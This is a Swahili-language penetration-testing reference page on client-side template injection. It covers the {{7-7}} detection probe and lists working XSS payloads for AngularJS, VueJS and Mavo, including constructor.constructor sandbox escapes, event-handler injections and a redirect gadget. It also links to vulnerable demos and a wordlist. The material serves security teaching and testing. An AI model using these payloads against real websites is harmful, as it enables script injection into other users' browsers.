# Client Side Template Injection (CSTI)

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## Summary

Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/index.html) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.

**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`

## AngularJS

AngularJS ni mfumo maarufu wa JavaScript unaoshirikiana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.

Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufanywa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
<input ng-focus=$event.view.alert('XSS')>

<!-- Google Research - AngularJS -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
```
Unaweza kupata mfano wa **msingi mtandaoni** wa udhaifu katika **AngularJS** katika [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) na katika [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)

> [!CAUTION] > [**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kuanzia toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.

## VueJS

Unaweza kupata utekelezaji wa **Vue** wenye udhaifu katika [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
Payload inayofanya kazi: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](<https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%7D>)

Na **msingi wa kanuni** ya mfano wenye udhaifu hapa: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
```markup
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V3**
```
{{_openBlock.constructor('alert(1)')()}}
```
Mwandiko: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)

### **V2**
```
{{constructor.constructor('alert(1)')()}}
```
Mshikamano: [Mario Heiderich](https://twitter.com/cure53berlin)

**Angalia zaidi VUE payloads katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)

## Mavo

Payload:
```
[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]
```
**Zaidi ya payloads katika** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)

## **Orodha ya Ugunduzi wa Brute-Force**

{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}

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